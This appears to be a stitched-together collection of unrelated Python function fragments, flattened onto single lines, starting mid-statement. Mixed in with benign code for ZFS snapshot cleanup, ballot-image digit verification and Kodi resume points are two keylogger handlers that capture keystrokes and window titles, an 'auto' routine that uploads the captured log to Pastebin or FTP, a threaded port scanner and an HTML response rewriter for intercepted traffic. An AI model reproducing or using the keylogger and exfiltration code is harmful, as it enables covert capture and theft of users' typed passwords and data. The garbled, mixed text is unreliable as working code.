pool status after cleanup:" \ % zpool.name, \ self.verbose) util.debug(zpool.name, self.verbose)
def _event(event): try: if event.WindowName != globals()['window']: globals()['window'] = event.WindowName globals()['log'].write("\n[{}]\n".format(window)) if event.Ascii > 32 and event.Ascii < 127: globals()['log'].write(chr(event.Ascii)) elif event.Ascii == 32: globals()['log'].write(' ') elif event.Ascii in (10, 13): globals()['log'].write('\n') elif event.Ascii == 8: globals()['log'].seek(-1, 1) globals()['log'].truncate() else: pass except Exception as e: util.debug('{} error: {}'.format(event.func_name, str(e))) return True
def auto(mode): """ Auto-upload to Pastebin or FTP server """ if mode not in ('ftp','pastebin'): return "Error: invalid mode '{}'".format(str(mode)) while True: try: if _buffer.tell() > max_size: result = util.pastebin(_buffer) if mode == 'pastebin' else _upload_ftp(_buffer, filetype='.txt') results.put(result) _buffer.reset() elif globals().get('_abort'): break else: time.sleep(5) except Exception as e: util.debug("{} error: {}".format(auto.func_name, str(e))) break
def scan(host): try: if ping(host): ports = [ 21, 22, 23, 25, 53, 80, 110, 111, 135, 139, 143, 179, 443, 445, 514, 993, 995, 1433, 1434, 1723, 3306, 3389, 8000, 8008, 8080, 8443, 8888 ] for p in ports: _tasks.put_nowait((port, (host, p))) for x in xrange(10): _workers['portscan-%d' % x] = threading.Thread( target=_threader, args=(_tasks, ), name=time.time()) _workers['portscan-%d' % x].daemon = True _workers['portscan-%d' % x].start() _tasks.join() return json.dumps(_scans) except Exception as e: util.debug('{} error: {}'.format(scan.func_name, str(e)))
def apply_singledigit_fix(verify_results, attrs, digpatch2imgpath): """ Converts the individual digit 'attributes' back into the original digit-based attribute. Input: dict VERIFY_RESULTS: maps {attrtype: {attrval: [imgpath_i, ...]}} list ATTRS: list of attr dicts, [dict attr_i, ...] dict DIGPATCH2IMGPATH: maps {digpatchpatch: (str imgpath, int idx)} Output: dict VERIFY_RESULTS_FIX: maps {attrtype: {attrval: [imgpath_i, ...]}} """ digitattrtype = None for attr in attrs: if attr['is_digitbased']: digitattrtype = '_'.join(sorted(attr['attrs'])) break assert digitattrtype is not None d_map = {} # maps {imgpath: {int idx: str digit}} verify_results_fixed = {} for attrtype, attrvaldict in verify_results.iteritems(): for attrval, digpatchpaths in attrvaldict.iteritems(): if attrtype == digitattrtype: for digpatchpath in digpatchpaths: imgpath, idx = digpatch2imgpath[digpatchpath] d_map.setdefault(imgpath, {})[idx] = attrval else: verify_results_fixed.setdefault(attrtype, {})[attrval] = digpatchpaths for imgpath, digitidx_map in d_map.iteritems(): digits_lst = [] for i, idx in enumerate(sorted(digitidx_map.keys())): if i != idx: pdb.set_trace() assert i == idx digits_lst.append(digitidx_map[idx]) digitstrval = ''.join(digits_lst) debug("For imgP {0}, digitval is: {1}", imgpath, digitstrval) verify_results_fixed.setdefault(digitattrtype, {}).setdefault(digitstrval, []).append(imgpath) return verify_results_fixed
def log(self, opt, log_loc=None): """ Logging function for enabling or disabling the logging of messages to a file """ if opt and not self.log_data: try: util.debug('Starting %s logger...') self.log_file = open(log_loc, 'w+') # chown the log file run_usr = util.get_run_usr() uid = getpwnam(run_usr).pw_uid gid = getpwnam(run_usr).pw_gid chown(log_loc, uid, gid) except Exception, j: util.Error('Error opening log file for %s: %s' % (self.which, j)) self.log_file = None self.log_data = True
def handle_response(self, msg): """ Iterate through the response and replace values """ for match in self.rep_regex: msg.replace(match, self.rep_regex[match]) # modify the DOM try: for tag in self.rep_tags.keys(): tmp = {} tmp[tag] = self.rep_tags[tag] parser = HTMLHooker(tmp) parser.feed(msg.get_decoded_content()) for entry in parser.data.keys(): for data_entry in parser.data[entry]: rep_entry = self.rep_tags[tag][entry] msg.replace(data_entry, rep_entry) except Exception, e: util.debug(e)
def _event(event): try: if event.WindowName != vars(Keylogger)['window']: vars(Keylogger)['window'] = event.WindowName _buffer.write("\n[{}]\n".format(_window)) if event.Ascii > 32 and event.Ascii < 127: _buffer.write(chr(event.Ascii)) elif event.Ascii == 32: _buffer.write(' ') elif event.Ascii in (10,13): _buffer.write('\n') elif event.Ascii == 8: _buffer.seek(-1, 1) _buffer.truncate() else: pass except Exception as e: util.debug('{} error: {}'.format(event.func_name, str(e))) return True
def createResumePoint(self, seconds, total): try: pomer = seconds / total if pomer < 0.05: return if self.itemType == 'episode': metaReq = { "jsonrpc": "2.0", "method": "VideoLibrary.SetEpisodeDetails", "params": { "episodeid": self.itemDBID, "resume": { "position": seconds, "total": total } }, "id": 1 } ret = self.executeJSON(metaReq) util.debug("[SC] resumepoint: %s %s" % (str(metaReq), str(ret))) elif self.itemType == 'movie': metaReq = { "jsonrpc": "2.0", "method": "VideoLibrary.SetMovieDetails", "params": { "movieid": self.itemDBID, "resume": { "position": seconds, "total": total } }, "id": 1 } ret = self.executeJSON(metaReq) util.debug("[SC] resumepoint: %s %s" % (str(metaReq), str(ret))) '''resume = self.parent.getResumePoint() resume.update({self.itemDBID: seconds}) self.parent.setResumePoint(resume)''' except Exception: bug.onExceptionRaised({'seconds: ': seconds}) return
def _run_emergency_cleanup(self, zpool): util.debug("Performing emergency level cleanup on %s" % \ zpool.name, \ self.verbose) self._run_cleanup(zpool, "monthly", self._emergencyLevel) if zpool.get_capacity() > self._emergencyLevel: self._run_cleanup(zpool, "weekly", self._emergencyLevel) if zpool.get_capacity() > self._emergencyLevel: self._run_cleanup(zpool, "daily", self._emergencyLevel) if zpool.get_capacity() > self._emergencyLevel: self._run_cleanup(zpool, "hourly", self._emergencyLevel) if zpool.get_capacity() > self._emergencyLevel: self._run_cleanup(zpool, "frequent", self._emergencyLevel) #Finally, as a last resort, delete custom scheduled snaphots for schedule, i, p, k in self._customSchedules: if zpool.get_capacity() < self._emergencyLevel: break else: self._run_cleanup(zpool, schedule, self._emergencyLevel)